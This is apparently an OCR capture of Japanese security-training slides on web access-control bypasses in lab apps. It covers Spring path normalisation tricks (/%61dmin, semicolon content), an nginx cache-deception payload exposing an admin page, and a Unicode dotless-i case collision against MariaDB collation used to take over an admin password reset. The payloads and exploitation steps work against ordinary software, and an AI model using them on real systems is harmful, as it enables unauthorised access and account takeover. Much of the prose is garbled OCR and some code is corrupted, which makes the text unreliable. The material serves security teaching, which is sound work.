Liliedu [O1Y...

Thread [Co...

Thread [Cat...
Thread [Cat...
Thread [co... =®
Thread [htt... =fT$
Thread [htt... =75

return request.getQueryString();

decodeAndCleanUriString(HttpServletRequest request,
S uri) {| request = RequestFacade@123, uri = "/admin;"

Thread [htt... ={T D493 . uri = removeSemicolonContent(uri); uri = “/admin;"
v Thr... STEP T—R{&LE uri = decodeRequestString(request, uri);

UrlPathHelper.decode uri = getSanitizedPath(uri);
return uri;
UrlPathHelper.getReq
UrlPathHelper.getPat
UrlPathHelper.get .
jrmmsmanin e moveSemicolonContent!!!
RequestMappingInf
RequestMappingInfoHa
AbstractHandlerMappi
DispatcherServlet.ge request

NicnntrharSam/lat dn source

v TL=Im1 v b
B Uncaught Exce... WebUtils#DEFAULT ER_ENCODING
W Caught Excepti.. avax.servlet.S letRequest#getCharacterEncoding
¥ AbstractH... 396 MR FN\ysavvy—=i .- 7 1)L% — (Bl: text. !exclude)
¥ Dispatche... 1016
« HomeContr... 18

» Dev Container: app @ lima_aarch ¥ main <041t ®0A0 W3 & Launch App (workspace) -- NORMAL --




EXPLORER

UrlPathHelper.class — workspace [Dev Container: app]

> OPEN EDITORS

> WORKSPACE [DEV CONTAINER: APP]
> OUTLINE

> TIMELINE

v JAVA PROJECTS

v [ notification

AVARR VARV VA VA VAR VAR VAR VAR VAR VS

>

5 src/main/java

B src/main/resources

B src/test/java

ER JRE System Library [JavaSE-11]

ER Maven Dependencies
accessors-smart-2.3.1.jar /home/vscode/.m...
[§ android-json-0.0.20131108.vaadin1.jar /ho...
apiguardian-api-1.1.0.jar /home/vscode/.m2]...
asm-5.0.4.jar /homefvscode/.m2/repository/o...
assertj-core-3.16.1.jar /home/vscode/.m2/re...
[ byte-buddy-1.10.22.jar /home/vscode/.m2/re...
byte-buddy-agent-1.10.22.jar /home/vscod...
hamcrest-2.2.jar /home/vscode/.m2/reposito...
jackson-annotations-2.11.4.jar /home/vscod...
jackson-core-2.11.4.jar /home/vscode/.m2/re...
jackson-databind-2.11.4.jar /home/vscode/....
jackson-datatype-jdk8-2.11.4.jar /home/vsc...
jackson-datatype-jsr310-2.11.4.jar /home/v...

> MAVEN
X Dev Container:app P main <& ®O0A0 @1 -- NORMAL --

{} settings.json UrlPathHelper.class X

private String decodeAndCleanUriString(HttpServletRequest
request, String uri) {

uri = removeSemicolonContent(uri);

uri = decodeRequestString(request, uri);

uri = getSanitizedPath(uri);

return uri;

RES-1GE XU T BIEL T breakpoint
;TIoTHT

JAVA PROJECTS

| notification

| Maven Depdendencies

| spring-web-5.2.15.RELEASE.jar

| org.springframework.web.util
| UrlPathHelper

Ln 500, Col 73 Tab Size: 4

{} Java

&




UrlPathHelper.class — workspace [Dev Container: app]

EXPLORER {} settings.json UrlPathHelper.class X

> OPEN EDITORS
> WORKSPACE [DEV CONTAINER: APP]
> OUTLINE
> TIMELINE |
v JAVA PROJECTS + - %39 - 2 private String decodeAndCleanUriString(HttpServletRequest

> [} spring-context-5.2.15.RELEASE.jar /home/v... request, String uri) {

> [ spring-core-5.2.15.RELEASE jar jhome/vsco... = LS snoesend oonontent a1

> spring-expression-5.2.15.RELEASE.jar /ho... ‘ ur} decodel.kec.zuestStrlng‘request, ]

195 uri = getSanitizedPath(uri);

> [ED spring-jcl-5.2.15.RELEASE.jar /home/vscod... 19 e tirobi

> spring-test-5.2.15.RELEASE.jar /home/vsco...

v

[} spring-web-5.2.15.RELEASE.jar /home/vsco... , ‘ E%OT"%% 'j:l; -Fb\ E)?% L_t breaprint

{} org.springframework.http

{} org.springframework.http.client *T’_)'CH'C
{} org.springframework.http.client.reactive

{} org.springframework.http.client.support

{} org.springframework.http.codec JAVA PROJECTS

{} org.springframework.http.codec.cbor

| notification

{} org.springframework.http.codec.json
{} org.springframework.http.codec.multipart l Maven Depdendencies

{} org.springframework.http.codec.protobuf . .

{} org.springframework.http.codec.support l« Sprl ng-web—5.2 . 15 RE LEASE 'Ja r
{} org.springframework.http.codec.xml l org.spri ngfra mewo rk.web. Utll

{} org.springframework.http.converter
{} org.springframework.http.converter.cbor l U rI Path Hel per
> MAVEN
X Dev Container:app ¥ main <& ®O0A0 @1 --NORMAL -- Ln 500, Col 73 TabSize:4 {} Java &’

NAE SN N I N NGA RE NG AR SN N N

v




UrlPathHelper.class — workspace [Dev Container: app]

EXPLORER {} settings.json UrlPathHelper.class X

> OPEN EDITORS
> WORKSPACE [DEV CONTAINER: APP]
> OUTLINE
> TIMELINE ‘
v JAVA PROJECTS 2 private String decodeAndCleanUriString(HttpServletRequest
%2 TagUtils request, String uri) {
«0 UriBuilder C uri = removeSemicolonContent(uri);
uri = decodeRequestString(request, uri);
*=O UriBuilderFactory

195 uri = getSanitizedPath(uri);
%2 UriComponents 19 return uri;

%3 UriComponentsBuilder

% UriTemplate ) k E%gf:iﬁ—é[il} T}b“})?%[,—c breakpoint

*O UriTemplateHandler
%3 UriUtils ITDTHT

%3 UrlPathHelper

%2 WebAppRootListener

% WebUtils JAVA PROJECTS
O package-info

| notification

HtmlCharacterEntityReferences.properti...

> {} org.springframework.web.util.pattern l Maven Depdendencies
> B3 META-INF . .
] spring-webmvc-5.2.15.RELEASE.jar /home... l« spring-web-5.2.15.RELEASE. jar

[} tomcat-embed-core-9.0.46.jar /home/vsco... l Org.springframework.web.util
tomcat-embed-websocket-9.0.46.jar /hom...
xmlunit-core-2.7.0.jar /home/vscode/.m2/rep... l UrIPathHeIper
> MAVEN
X Dev Container:app  §##main & ®O0A0 @1 --NORMAL -- Ln500,Col 73 TabSize:4 {} Java & 0




UrlPathHelper.class — workspace [Dev Container: app @ lima_aarch] l] D D] 08
D LaunchApp Vv <$aapping.class AbstractHandlerMethodMapping.class UrlPathHelper.class X [IJ

> EW b @ ¥ ¢ O 0O 4
> 9AvFR
v aA=ILRYvY

Iiedyu |O1Y...

Thread [Co...

Thread [Cat... decodeAndCleanUriString(Htt T

Thread [Cat... S ng uri) { request = RequestFacade@l23, uri = "/admin;"
Thread [co... uri = removeSemicolonContent(uri); uri = "/admin;"
Thread [htt... uri = decodeRequestString(request, uri);

uri = getSanitizedPath(uri);

return uri;

request,

Thread [htt...

Thread [htt...
v Thr... STEP T—R{E1E ME  FN\ysavv-i e 715 — (fl: text. !exclude)

UrlPathHelper.decode

UrlPathHelper.getReq

UrlPathHelper.getPat

UrlPathHelper.getLoo

AbstractHandlerMetho

RequestMappingInfoHa —_ . R .
RequestMappingInfoHa T/ \‘y7 3)‘/—)L'C°)(V‘VF€ -E-
AbstractHandlerMappi

DispatcherServlet.ge

Ni enntcharSar/l e+ dAn

v IL—=IR1v b
@ Uncaught Exce...
@ Caught Excepti...

¥ AbstractH... 396 - .
removeSemicolonContent("/admin;aaaaa")
"/admin"

¥ HomeContr... 18 > removeSemicolonContent("/admln;aaaaa")|

» Dev Container: app @ lima_aarch ¥ main <041t ®0A0 W3 & Launch App (workspace) -- NORMAL --

¥ Dispatche... 1016 N




UrlPathHelper.class — workspace [Dev Container: app @ lima_aarch] l] D D] 08
D LaunchApp Vv <$aapping.class AbstractHandlerMethodMapping.class UrlPathHelper.class X [IJ
> EW > 2 ¥ T O 0O 4
> UAYvFR
= T return request.getQueryString();

1li€dU |D1Y...
Thread [Co...
Thread [Cat...
Thread [Cat...
Thread [co... =®
Thread [htt... =fT$
Thread [htt... =ffH ) String decodeAndCleanUriString(HttpServletRequest request,
Thread [htt... %5 S ng uri) { request = RequestFacade@l23, uri = "/admin"
uri = uri); uri = "/admin"
v Thr.. D494 . uri = decodeRequestString(request, uri); uri = "/admin",
UrlPathHelper. decode request = RequestFacade@l23
UrlPathHelper.getReq uri = getSanitizedPath(uri);
UrlPathHelper.getPat return uri;
UrlPathHelper.getLoo

else

AbstractHandlerMeth

RequestMappingInfol t - 5 —G . rem oveSemicolo

RequestMappingInfok

AbstractHandlerMapy fd: ' : 75\ & 6 J:j fd: aee —')

DispatcherServlet.ge

Ni cnntcharSar/l at+ dn
request
v IL—=IR1v b
source
@ Uncaught Exce...

B Caught Excepti... RaRE FIRyZaAvY=) - 7 1)L%5 — (Bl: text. !exclude)
~ AbstractH... 396

removeSemicolonContent("/admin;aaaaa")
> "/admin"
# HomeContr... 18 >

» Dev Container: app @ lima_aarch ¥ main <041t ®0A0 W3 & Launch App (workspace) -- NORMAL --

¥ Dispatche... 1016




%61dmin

(a = %061)



A—HZT%61dmin] TY,
[/%61dmin]Dk—2>2 TN

POST /notificationToken A—HZT%61dmin =5
http://localhost:30081/%61dmin
#HFAILTL\NEKA?

tyage notificationPath: /%61dmin

IR —E X
(http://localhost:30082)



[/%61dmin]>TCTZ &Ik
[admin]SATI 1

GET /%61dmin

h BEIH—E X

tyage (http://localhost:30081)

i

[ EEERITOSMOE 1




tyage@tyagenoMacBook-Pro:~ — 80X14

Last login: Tue Aug 9 11:47:37 on ttys0Qleo

b~ D> curl "http://localhost:30081/%61ldmin' -H 'Authorization: Bearer eylhbGciOiJI
UzIIN1IsInRS5cCI6IkpXVCI9.eyJhdWQi01ls1iLyUZMWRtaW41XSwiaWF@AIjoxNjYwWMDE3NzkyfQ.gHKf
0o2c¢_LUSN7L1Vcjh4BeQvLdbHh2XMIZ2TNombg-M'

HLWAYE—Y: SHOCHRREIBEOLEYNY—Y—XTT, ¢

~ > |




UrlPathHelper.class — workspace [Dev Container: app @ lima_aarch] l] D D] 08

D LaunchApp Vv <$aapping.class AbstractHandlerMethodMapping.class UrlPathHelper.class X [IJ

> BB > 2 ¥ © 9 [Ov 4 n request.getQueryString();
> 9AvFR
v aA=ILRYvY

Liigau |oly...

Thread [Co...
Thread [Cat...
Thread [Cat...

Thread [co... String decodeAndCleanUriString(HttpServletRequest request,
Thread [htt... tring uri) { request = RequestFacade@l23, uri = "/%61dmin"
Thread [htt... T = removeSemicolonContent(uri); uri = "/%61dmin"

«  BREAKPOINT T—E.. > 494 . uri = decodeRequestString(request, uri); uri = "/%61dmin",
request = RequestFacade@l23

uri = getSanitizedPath(uri);

return uri;

UrlPathHelper.decode
UrlPathHelper.getOri
AbstractMessageConve
AbstractMessageConve

3

RequestResponseBodyM & FIRyF AVY=I .- 71 )LF — (Bl: text. 'exclude)

HandlerMethodReturnV decodeRequestString(request, "/%61dmin")
ServletInvocableHand > "/admin”

RequestMappingHandle
RequestMappingHandle

Ahct+ractHandl arMet+hn

v TL—=IR1v b

B Uncaught Exce...

B Caught Excepti...

¥ AbstractH... 396

¥ Dispatche... 1016

« HomeContr... 18

# UrlPathHel... 494 S

» Dev Container: app @ lima_aarch ¥ main <041t ®0A0 W3 & Launch App (workspace) -- NORMAL --
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https://github.com/tyage/camp.app2
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http://app.seccamp.mocos.kitchen:30080
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nginx Java®l

ANERN
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nginx/default.conf

proxy_cache_path /tmp/nginx keys_zone=mycache:10m;

server {
listen 80 default_server;
server_name 1localhost;

proxy_set_header Host Shttp_host;

location / {
proxy_pass http://app:8080;

location /assets/ {
proxy_cache mycache;
proxy_cache_valid any 10m;
proxy_pass http://app:8080;



nginx/default.conf

location / {
proxy_pass http://app:86080;

JOT A% app 270X

}



nginx/default.conf

location /assets/ {
proxy_cache mycache;

proxy_cache_valid any 10m; [assets/ LT D/RR[EF vy 10K
proxy_pass http://app:8080; oy 2 BAfE 105




app/src/main/java/.../HomeController.java

public class HomeController {

@GetMapping("/admin")
public String admin(Model model) {
String user = (String) session.getAttribute("user");

// adminNAD1—HIET7 I REIE
if (user == null || 'user.equals(adminUsername)) {
return "redirect:/";

b

model.addAttribute("user"”, user);
model.addAttribute("message”, secretMessage);
return "admin";



app/src/main/java/.../HomeController.java

// adminN\D1—H(ET7 IO REZIE
if (user == null || 'user.equals(adminUsername)) {
return "redirect:/";

}

Jadmin [C7 A TEALDIIEBET

—SCDR—VZFFryaTENL .2
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http://.../admin;%2f..%2fassets%2f
[Z7 AL THTE

tyage

wisEXY 77

admin



admin

GET /admin;%2f..%2fassets%2f

/IE%H b

Jadmin;%2f..%2fassets%2f
— [/admin;/../assets/

— [assets/

77



IEf1E
/admin;%2f..%2fassets%2f
— [admin

GET /admin;%2f..%2fassets%2f

) a—
S ) N

wisEXY 77

admin



[/assets/?"ft%ofé } [/admin ~EBSTS }

)

wisEXY 77

admin



admin
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~ > docker exec -it microservices-sample2-nginx-1 /bin/bash
root@4dc35105085c:/# 1s -la /tmp/nginx/

total 28

drwx------ 2 nginx nginx 4096 Jun 28 06:39

drwxrwxrwt 1 root root 4096 Jun 28 06:39

~FW------- 1T nginx nginx 1643 Jun 28 06:39 34f0b15c58a32fdf52d29f2f753bcd73
-rw------- 1T nginx nginx 2110 Jun 28 06:39 7101d0b015ada®8a5947c8dad9ec56ec
~FW------- 1T nginx nginx 12122 Jun 28 06:39 8cb3ecca7f98f7e2c1bbfabb78c987d5

root@4dc35105085c:/# cat /tmp/nginx/8cb3ecca7f98f7e2c1bbfabb78c987d5
TQObe990900900b_Lag~

KEY: http://app:8080/admin;%2f..%2fassets%2f

HTTP/1.1 200

Content-Type: text/html;charset=UTF-8

Content-Language: en-US

Date: Tue, 28 Jun 2022 06:39:10 GMT

Connection: close

<!doctype html>
<html lang="en">

<head>



tyage

GET /admin;%2f..%2fassets%2f

77
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Z D DFFFK7ZIURI Path

e Matrix URIO% Ta—T 4> T, PathDRI\TAFEEZLEZoNBZENDHHIOT-
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o fhiZ(E?



Z D DFFFK7ZIURI Path

e slasht°dot slash# AN TH 5

o ZERRIZFIEATESUR BE>TLWDHA?
e backslashz AN THS

o EEIZFVEATESURI

e index.php/
o EEIZFVEATESURI
® hash#

o FFFF.FZELTHAE@MALNME
o f&ukd BunicodeXF 5
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Case Insensitive

RN FINLFEEZXFILLELY (Case Insensitive) MEBEH—EXEZ 4 H 5

A— T FLRERXFINIFIEL>TH, A—THoTIFLL
ADMIN@SECURITY.CAMP

admin@security.camp



@ Discord

o discord.com

\

EHADEEWN!

XfeB2WULELIR !

NAMATYAGE@GMAIL‘COMI

INZD =1

FEAEDH—ERTAXFEA—ILTRLR
THLOT Ao TEBIET

* O @ v—sLvh

QRI—KTAJ1Y
Z 5 5 %DiscordE/NTILFZ 7Y

TRF¥vrr9dE, BEOTIY
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Search - NAMATYAGE@GMAIL. X +

& https://github.com/search?q=NAMATYAGE%40GlI .COM+in%3A.. @ B @ s 0O @9—71/“/#

Repositories 0 Code Commits 0 Issues 0 Discussions 0 Packages 0

Language Any =

1user

" tyage tyage ) sponsor Follow
Kyoto

{ﬁi?%—)b'f’lﬂ/xf%*ﬁ%ﬂ }




RXF IZNXF
[H—E XA)

ADMIN@SECURITY.CAMP = admin@security.camp

[ —E RXB]

ADMIN@SECURITY.CAMP = admin@security.camp



RXF IZNXF
[H—E XA)

ADMIN@SECURITY.CAMP 1= admin@securcty.camp

[ —E RXB]

ADMIN@SECURITY.CAMP = admin@securoty.camp

olTHTIEFESXFIL.?



Unicode Dotless i

[J:(E%u]d{?@i (U+0069) j7

[ERIZFYRAAELYI (U+0131)
MLOEETEHLNTHLLLL




Unicode Dotless i
RXFIZEMRTDHERXRFIADHELY !

® 4] Console > B1 | & : .
M © topY €@ | Filter o ! l — :l:
All levels ¥ 1 Issue: B 1
> "1 .toUpperCase() === 'i'.toUpperCase()
true



W Unicode Utilities: UnicodeSet

[} util.unicode.org,

languageid
Input
[:Uppercase_Mapping=I:]

a

JAbbreviate (JCollate (JUCD format (JEscape Group by: | | Info: |
3 Code Points

[il1]

Basic Latin — Uppercase Latin alphabet
1 U+0049 LATIN CAPITAL LETTER I

items: 1

Basic Latin — Lowercase Latin alphabet
i U+0069 LATIN SMALL LETTER I

items: 1

Latin Extended A — European Latin
1 U+0131 LATIN SMALL LETTER DOTLESS I

items: 1

Fonts and Display. If you don't have a good set of Unicode fonts (and modern browser), you may not be able to read some of the characters. Some suggested fonts that
you can add for coverage are: Noto Fonts site, Unicode Fonts for Ancient Scripts, Large, multi-script Unicode fonts. See also: Unicode Display Problems.
Mavci  IOTT ssanci : ITninada T, 2

H#8: https://util.unicode.org/UnicodeJsps/list-unicodeset.jsp?a=[:Uppercase_Mapping=I:]

AXFICERTHEN THIXF—R



W Unicode Utilities: UnicodeSet X +

util.unicode.org,

languageid
Input
[:Uppercase_Mapping=S:]

a
O Abbreviate (JCollate (JUCD format (JEscape Group by: | | Info: |
3 Code Points

[sSf] 7

Basic Latin — Uppercase Latin alphabet
S U+0053 LATIN CAPITAL LETTER S

items: 1

Basic Latin — Lowercase Latin alphabet
s U+0073 LATIN SMALL LETTER S

items: 1

Latin Extended A — European Latin
[ U+017F LATIN SMALL LETTER LONG S

items: 1

Fonts and Display. If you don't have a good set of Unicode fonts (and modern browser), you may not be able to read some of the characters. Some suggested fonts that
you can add for coverage are: Noto Fonts site, Unicode Fonts for Ancient Scripts, Large, multi-script Unicode fonts. See also: Unicode Display Problems.

H#8: https://util.unicode.org/UnicodeJsps/list-unicodeset.jsp?a=[:Uppercase_Mapping=S:]

KXFIEWMTEHE S ITHEEHXF—RK



RIXF INF

[H—E XA]

ADEABTIEDT
ADMIN@SECURITY.CAMP != admin@securlty.camp ERFIOH->TIELL

[ —E RXB]

_ RXFINFRAILGDMRR
ADMIN@SECURITY.CAMP = admin@securlty.camp TlZS>BEAIELLY..?
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[GitHub] Please reset your password  inbox x &

GitHub <noreply@github.com> 3:16 PM (0 minutes ago) Yy 4
tome v
Xa English v > Japanese v Translate message Turn off for: English x

O

Reset your GitHub password

GitHub password reset

We heard that you lost your GitHub password. Sorry about that!

But don't worry! You can use the following button to reset your

password:
Reset your password

If you don't use this link within 3 hours, it will expire. To get a new
password reset link, visit: https://github.com/password_reset

AV Sy EL L ]




@ John Gracey %g John Gracey

@ Posted on 2019412817H
|
« Hacking GitHub's Auth with
{
° ° 2019411830H
0 | g
Unicode's Turkish Dotless 'l
m #security #unicode javascript #webdev Trending on DEV Community
4
From combining emoji marks and astral planes, Unicode is under appreciated How do you deal with Mouse Arm
; : : Synd !
and poorly understood. The importance of understanding Unicode extends yndrome
i i . . . X discuss #help #community
beyond localization and diversity. Failing to understand Unicode may lead to programming

vulnerabilities in your code.

L2 Github copilot is out of beta, would
One lesser known occurrence is Unicode Case Mapping Collisions. Loosely you use it ?

speaking, a collision occurs when two different characters are uppercased or discuss #programming #productivity

lowercased into the same character. This effect is found commonly at the github

boundary between two different protocols, like email and domain names.
@ Meme Monday!?!

discuss #watercooler #jokes

A quick example

'R'.toLowerCase()

'B'.toLowerCase() 'SS'.toLowerCase()

Hi B8: https://dev.to/jagracey/hacking-github-s-auth-with-unicode-s-turkish-dotless-i-460n
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admin@emall.seccamp
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admin@emall.seccamp
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admin@emall.seccamp
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admin@email.seccamp
admin@emall.seccamp X400
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https://github.com/tyage/camp.app3
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http://app.seccamp.mocos.kitchen:3000

docker-compose.ymi

version: '3’

services:

app:
build: ./sample-app

db:
image: mariadb:10.8
restart: always
environment:
MARIADB_USER: dbuser
MARIADB_PASSWORD: dbpass
MARIADB_DATABASE: sample
MARIADB_RANDOM_ROOT_PASSWORD: 1
volumes:
- ./init_database.sql:/docker-entrypoint-initdb.d/init_database.sql



init_database.sq|

CREATE DATABASE IF NOT EXISTS sample;
USE sample;

CREATE TABLE IF NOT EXISTS users(
“id® INT(11) NOT NULL AUTO_INCREMENT,
“email’ VARCHAR(255) NOT NULL UNIQUE,
‘username’ VARCHAR(255) NOT NULL,
“password_hash® VARCHAR(255) NOT NULL,
PRIMARY KEY (id)

),

CREATE TABLE IF NOT EXISTS password_resets(
“id® INT(11) NOT NULL AUTO_INCREMENT,
‘user_id® INT(11) NOT NULL,

“token® VARCHAR(255) NOT NULL,
PRIMARY KEY (id)

),

XFa—FIZBE9T %

TFIHILEDEE

=
axX

ZE




init_database.sq|

“email” VARCHAR(255) NOT NULL UNIQUE, .
(255) emaillda1=—7%




® ® O seccAMP APPO3 X S v

& > C @ http://localhost:3000/forget-password h % & @ » 0O o :

SECCAMP APP 03 no1>
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X=JIL7 KL R
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sample-app/pages/api/forget-password.ts

export default async function handler(
req: ForgetPasswordNextApiRequest,
res: NextApiResponse<ForgetPasswordResult>

) A
const { email } = req.body
try {
const connection = await getConnection()
const [rows] = await connection.query<UserRow|[ |>(
'SELECT * FROM “users’ WHERE email = ?',
[email]
)
if (rows.length === 0) {
return res.status(200).json({})
}

const user = rows[0]



sample-app/pages/api/forget-password.ts

const [rows] = await connection.query<UserRow|[ ]>(
'SELECT * FROM “users’ WHERE email = ?',

[email] A—ILTRLANSI—HEHRE
) EHoTELREDAEIZRZS




sample-app/pages/api/forget-password.ts

const [rows] = await connection.query<UserRow|[ ]>(
'SELECT * FROM “users’ WHERE email = ?',

| [email] NETTRXF/INXFRANEVDRRIZELD ?




MariaDB [sample]> select email, username from users;

|
+

| admin@email.seccamp | admin |
| tyage |
+

ADMIN@EMAIL.SECCAMP
THHIT!




MariaDB [sample]> select CONCAT('admin@ema', Oxc4b1, 'l.seccamp');

o e +
| CONCAT('admin@ema', ©xc4b1, 'l.seccamp') |

o e +

| admin@ema1l.seccamp | admin@ema + Oxc4b1 + |l.seccamp
+____________; _____________________________ + =admin@emazl.seccamp

MariaDB [sample]> select email,username from users where

et R R +
| email | username |

et R R +

| e | admin@emazxl.seccamp
et +

“““““ * THHIT!




MariaDB [sample]> SELECT TABLE_COLLATION FROM information_schema.tables where table_name
= 'users’;

ERROR 2006 (HY00O0): Server has gone away

No connection. Trying to reconnect...

Connection id: 19

Current database: sample

| | T 7A4 )Lk TusersT—7 )LD Collation (BB EIERF) A
Fooomm T * utf8mb4_general_ci [Z%2>TLV5




Collation (BB & IIEF)

o NFZLLER.V—hFDHEEDIL—IL
e Docker Hub®MariaDB 10.8(5#7) Tl& utf8mb4_general_ci
o  MySQLTHLEFRDZEMHEE D

e utf8mb4

o 4NAtDutfeZHR—h (FEERIEE T utfs = utfdmb3)
e general

o —MRMILIBAIER (#hi utf8mb4_spanish_ci, utf8mb4_unicode_ci FH%3 )
® i

o case insensitive (KIXF/IMXFERFLELY)



UEI
A, =4 > % &= df = <

COLLATION o A. T&D
a (Fq> ININ -
utf8mb4_bin X X X X
utf8mb4_0900_bin X X X X
utf8mb4_unicode_ci O O O
utf8mb4_general_ci X X X
utf8mb4_unicode_520_ci O O O
utf8mb4_0900_ai_ci O O O O
utf8mb4_0900_as_ci O x O O
utf8mb4_ja_0900_as_cs x x O X
utf8mb4_ja_0900_as_cs_ks x X X X

H 8 https://mita2db.hateblo.jp/entry/2020/12/07/000000

o

Q|| =

X

X

QI Q||



MariaDB [sample]> SET @email = CONVERT('i' USING utf8mb4) COLLATE utf8mb4_general_ci;
MariaDB [sample]> SELECT HEX(WEIGHT_STRING(@email));

MariaDB [sample]> SET @email = CONVERT( USING utf8mb4) COLLATE utf8mb4_general_ci;
MariaDB [sample]> SELECT HEX(WEIGHT_STRING(@email));

Fo oo + WEIGHT_STRINGEEEI TXFD"EH" N5

i1 XECEH
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sample-app/pages/api/forget-password.ts ($E=)

// create reset token and save it with user id

const token = createPasswordResetToken()

await connection.query(
"INSERT INTO ‘password_resets’ (user_id, token) VALUES (?, ?)',
[user.id, token]

)

const passwordResetURL = “S{process.env.APP_BASE_URL}/reset-password?token=S{token}"

// send reset password email

const mailTitle = 'NNXRT—FKUUtwy k'

const mailBody = "/SXRT—FZUty FFBHIZIETEURLICTIVEALTLZELY,
${passwordResetURL}"

const result = await sendMailViaMailjet(email, mailTitle, mailBody)



/pages/api/forget-password.ts (HE=)

DBIZRESN=A—IL7RL X TIE#EL,
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email
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@ Google Domains - # L\ K X X @ Google Domains - # L\ K X o @ Google Domains - # L\ KX X @ Google Domains - # LU\ K X

a ‘domains.google.com; Q ¥ 0O @9771,,“\ H &« > C &

HUWRX VAR B

‘domains.google.com,

HUWRX VRS B

Q wikipedia.com E= X Q wikipedia.com = X

@ ®ULHLT: wikipedia.com
TR IRTOKRE

fER IRTOKE

@ wikipedia.com ([F9 CICETRSINTWVWET

wikipedia.com YW

ZOMOA T 3y °°

° ¥1400/8E =23 wikipedia.com % 71— K (&0
Twikipediay TEX 35 ZDfDKE YT DA
XUy bk
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1.
http://app.seccamp.mocos.kitchen:3000/ H¥is
[B 73 D £ Fijj@mail.seccamp.mocos.kitchen

Ta1—H&&H

2.
[B 57 D 4T @mazl.seccamp.mocos.kitchen

MWOEZELTHED


http://app.seccamp.mocos.kitchen:3000/signup

@maaxl.seccamp.mocos.kitchen

[IZRWN A= LI T Mot HET

http://mail.seccamp.mocos.kitchen:8000



http://mail.seccamp.mocos.kitchen:8000

admin@mal.seccamp.mocos.kitchen
admin@mall.seccamp.mocos.kitchen XA0H
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From: namatyage@gmail.com

To: test@mail.seccamp.mocos.kitchen
Cc:

Subject: /SXAD—KRUtyh

Date: 2022-08-09T00:37:38+00:00

ISRAT—RZUEyMBICIT TFREURLICZ ZE2ALTZELY,
http://app.seccamp.mocos.kitchen:3000/reset-password?token=eeb47bc9-a9ff-4199-
b5b9-216251fcc006




® ® @ seccampAPPO3 X @) SECCAMP APP 03 x  + v

<« C @ http/flocalhost:3000/reset-password?token=e3d148c2-bb08-4bf8-b347-d99af01110af a h x ¢ ®» 00 :

SECCAMP APP 03
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® ® @ seccampAPPO3 X @) SECCAMP APP 03 x  + v

<« C @ http://localhost:3000 - @ f % ¢ ®M» 00 :

SECCAMP APP 03
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COLLATION

utf8mb4_bin
utf8mb4_0900_bin
utf8mb4_unicode_ci
utf8mb4_general_ci
utf8mb4_unicode_520_ci
utf8mb4_0900_ai_ci
utf8mb4_0900_as_ci

utf8mb4_ja_0900_as_cs

utf8mb4_ja_0900_as_cs_ks

X

010|000

X

i,
F{4

O|0O| X

X

UEI

SE ok ves
VA
LA

x x

x x

O O

x x

O O
O O
O O
O x

x x

H 8 https://mita2db.hateblo.jp/entry/2020/12/07/000000
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u EHFEIVBRR
@tmtms
HN? MySQL @ utf8mb4 charset > T, 4/\1 hXF

RtZH&RI 2 ERUXFRNEIND?
SELECT '@'="ij|)' > 1

MySQLIIIC (FFF & E—ILIERE Uik,

F14:10 - 20144F12H22H - Twitter Web Client

Lﬁﬁb\%ﬁi%ﬁﬁiﬁb\%ﬁi }
283 HFDIY1LM—K~ 3HEODOIFIHYAI—KN 177 FOVWnh

O = QO J

Hi #: https://twitter.com/tmtms/status/546925668424896512



Unicode [0049|0069|00CC|00CD|00CE|[OOCF|00EC|OOED|OOEE|[OOEF|0128|0129(012A|012B|012C|012D|012E[012F|0130]|01CF|01D0|0208|0209(020A|020B(0365|1D35
Characterl i [ | [ [ p [ [F §f [ [ 0 fF ¥ [ op. oo fFofopr fFofoof o1
Unicode [004A[006A|0134(0135|/01F0|02B2|1D36|2149|24BF|24D9|FF2A[FF4A
Character|J I J 0 i K j o @ j
Unicode |004B[006B(0136|/0137(01E8|01E9|(1D37|1D4F(1E30({1E31|{1E32|1E33|1E34|1E35|212A[24C0[24DA|FF2B|FF4B
Character|K k K, |k, K |k [ K K |k* |K k K 3 K ® |® K |k
Unicode [004C|006C[0139|013A|013B|013C|013D|013E|02E1{1D38|1E36|1E37(1E38|1E39|1E3A|1E3B|1E3C|[1E3D(2112|2113|216C|217C|24C1|24DB|FF2C|FF4C
CharacterlL |1 (L |f ., ., © T | | L ¢ &£ 7T L @b kL @t le e L I © [© L |
Unicode |004D|006D|036B({1D39|1D50|1E3E|1E3F|1E40[1E41|1E42|1E43]|2133|216F|217F|24C2|{24DC|FF2D|FF4D
CharacterM  [m " m M m M Im M m |« M |m [® [® M |m
Unicode |004E(0OGE[OOD1|00F1|0143|0144[0145|0146(0147|0148|01F8|01F9(1D3A(1E44({1E45|1E46|1E47|1E48|1E49|1E4A|1E4B|207F|2115|24C3|24DD|FF2E(FF4E
CharacterN |n [N |& N W N, |n, [N A [N |pn [ N no N |n N o [N p |° N [® |[® N |n
Unicode |004F|006F|00BA|00D2|00D3{00D4|00D5[/00D6[{00F2|00F3|00F4[00F5|00F6(014C|014D[014E[014F|0150[0151|0TAO0[01A1|01D1|01D2(01EA|01EB|O1EC|0O1ED
Characterl0 o [° O |6 [0 |10 |6 [ |6 o fa—Ja 1A la In- lar 1A & lox A—la oo 107 o}
Unicode [0050]0070[1D3E[1D56[1E54[1E55[1E56]1E57]2119[24C5[24] Dotless LA ZE
= Sr=11° [}

Character|P p i P P o~ P o |P ® |® MySQLWTEﬂb\HLI?‘i%(if:<—c‘:/\Jﬁ)é

-
Unicode [0051|0071|211A|24C6|24EO|FF31|FF51
Character|Q q Q Q@ @ Q |a

H B http://tmtm.org/tmp/mysql_unicode_collation.html



MariaDB [sample]> set character_set_results = 'utf8mb4';

MariaDB [sample]> SET @sushi = CONVERT(0xf@9f8da3 USING utf8mb4) COLLATE utf8mb4_general_ci;
MariaDB [sample]> SET @beer = CONVERT(0xf@9f8dba USING utf8mb4) COLLATE utf8mb4_general_ci;
MariaDB [sample]> SELECT @sushi, @beer;

tomm - e +
| @sushi | @beer |
tomm - e +
| & | ® |

tomm - e +

MariaDB [sample]> SELECT HEX(WEIGHT_STRING(@sushi)), HEX(WEIGHT_STRING(@beer));

o et +
| HEX(WEIGHT_STRING(@sushi)) | HEX(WEIGHT_STRING(@beer)) |
Fommommmmmomoooooooooooooooos Fommommmomomoosooooooooooooo + DL ERICER N
| FFFD | FFFD |
o et +



fthDDBMSIE?

® PostgreSQL
o ERICHETHIEAXFINXFIARRIESNSD
ILIKE Zf&5, AKXF/INXFICEBMLTLEKT L. GETTED

O

O

SELECT * FROM users WHERE email ILIKE '"ADMIN@SECURITY.CAMP'

O

SELECT * FROM users WHERE LOWER(email) = LOWER('ADMIN@SECURITY.CAMP')

O

SELECT * FROM users WHERE UPPER(email) = UPPER('ADMIN@SECURITY.CAMP')



o0 e Q@ where UPPER(email) - GitHub = X =+ v

